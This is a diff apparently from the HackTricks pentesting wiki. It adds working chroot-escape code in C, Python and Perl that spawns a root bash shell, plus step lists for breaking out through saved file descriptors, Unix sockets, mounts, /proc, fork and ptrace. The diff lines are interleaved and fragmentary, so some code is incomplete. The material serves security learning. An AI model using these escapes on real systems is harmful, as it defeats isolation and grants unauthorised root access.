GITBOOK-3856: change request with no subject merged in GitBook
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CPol
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@ -2,7 +2,7 @@
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<details>
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<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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<summary><strong>HackTricks in</strong> <a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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@ -12,19 +12,33 @@
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</details>
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***
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## **GTFOBins**
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**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property**
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## Chroot limitation
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## Chroot Escapes
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From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.
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From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\
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Usually this means that to escape you need to be root inside the chroot.
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Therefore, if you are **root** inside a chroot you **can escape** creating **another chroot**. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it:
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{% hint style="success" %}
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The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`.
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{% endhint %}
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### Root + CWD
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{% hint style="warning" %}
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If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS.
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This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it.
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{% endhint %}
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Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary:
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<details>
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<summary>C: break_chroot.c</summary>
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{% code title="break_chroot.c" %}
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```c
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#include <sys/stat.h>
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#include <stdlib.h>
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@ -43,9 +57,12 @@ int main(void)
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system("/bin/bash");
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}
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```
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{% endcode %}
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Using **python**:
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</details>
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<details>
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<summary>Python</summary>
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```python
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#!/usr/bin/python
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@ -58,7 +75,11 @@ os.chroot(".")
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os.system("/bin/bash")
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```
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Using **perl**:
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</details>
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<details>
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<summary>Perl</summary>
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```perl
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#!/usr/bin/perl
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@ -71,6 +92,86 @@ chroot ".";
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system("/bin/bash");
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```
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</details>
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### Root + Saved fd
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{% hint style="warning" %}
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This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**.
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{% endhint %}
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<details>
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<summary>C: break_chroot.c</summary>
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```c
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#include <sys/stat.h>
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#include <stdlib.h>
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#include <unistd.h>
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//gcc break_chroot.c -o break_chroot
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int main(void)
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{
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mkdir("tmpdir", 0755);
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dir_fd = open(".", O_RDONLY);
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if(chroot("tmpdir")){
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perror("chroot");
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}
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fchdir(dir_fd);
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close(dir_fd);
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for(x = 0; x < 1000; x++) chdir("..");
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chroot(".");
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}
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```
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</details>
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### Root + Fork + UDS (Unix Domain Sockets)
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{% hint style="warning" %}
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FD can be passed over Unix Domain Sockets, so:
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* Create a child process (fork)
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* Create UDS so parent and child can talk
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* Run chroot in child process in a different folder
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* In parent proc, create a FD of a folder that is outside of new child proc chroot
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* Pass to child procc that FD using the UDS
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* Child process chdir to that FD, and because it's ouside of its chroot, he will escape the jail
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{% endhint %}
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###  Root + Mount
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{% hint style="warning" %}
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* Mounting root device (/) into a directory inside the chroot
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* Chrooting into that directory
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This is possible in Linux
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{% endhint %}
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### Root + /proc
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{% hint style="warning" %}
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* Mount procfs into a directory inside the chroot (if it isn't yet)
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* Look for a pid that has a different root/cwd entry, like: /proc/1/root
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* Chroot into that entry
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{% endhint %}
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### Root(?) + Fork
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{% hint style="warning" %}
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* Create a Fork (child proc) and chroot into a different folder deeper in the FS and CD on it
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* From the parent process, move the folder where the child process is in a folder previous to the chroot of the children
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* This children process will find himself outside of the chroot
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{% endhint %}
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### ptrace
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{% hint style="warning" %}
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* Time ago users could debug its own processes from a process of itself... but this is not possible by default anymore
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* Anyway, if it's possible, you could ptrace into a process and execute a shellcode inside of it ([see this example](linux-capabilities.md#cap\_sys\_ptrace)).
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{% endhint %}
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## Bash Jails
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### Enumeration
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@ -198,9 +299,13 @@ for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(
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debug.debug()
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```
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## References
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* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
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<details>
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<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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<summary><strong>HackTricks in</strong> <a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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@ -2,7 +2,7 @@
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<details>
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<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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<summary><strong>HackTricks in</strong> <a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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@ -12,7 +12,7 @@
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</details>
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 (1) (2).png>)
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%20\(1\)%20\(2\).png)
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\
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Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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@ -344,6 +344,12 @@ If you are inside a filesystem with the **read-only and noexec protections** the
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[ddexec.md](../bypass-linux-shell-restrictions/ddexec.md)
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{% endcontent-ref %}
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## Chroot & other Jails Bypass
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{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
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[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
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{% endcontent-ref %}
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## References & More
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
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@ -351,7 +357,7 @@ If you are inside a filesystem with the **read-only and noexec protections** the
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* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
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* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
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 (1) (2).png>)
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%20\(1\)%20\(2\).png)
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\
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Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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@ -361,7 +367,7 @@ Get Access Today:
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<details>
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<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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<summary><strong>HackTricks in</strong> <a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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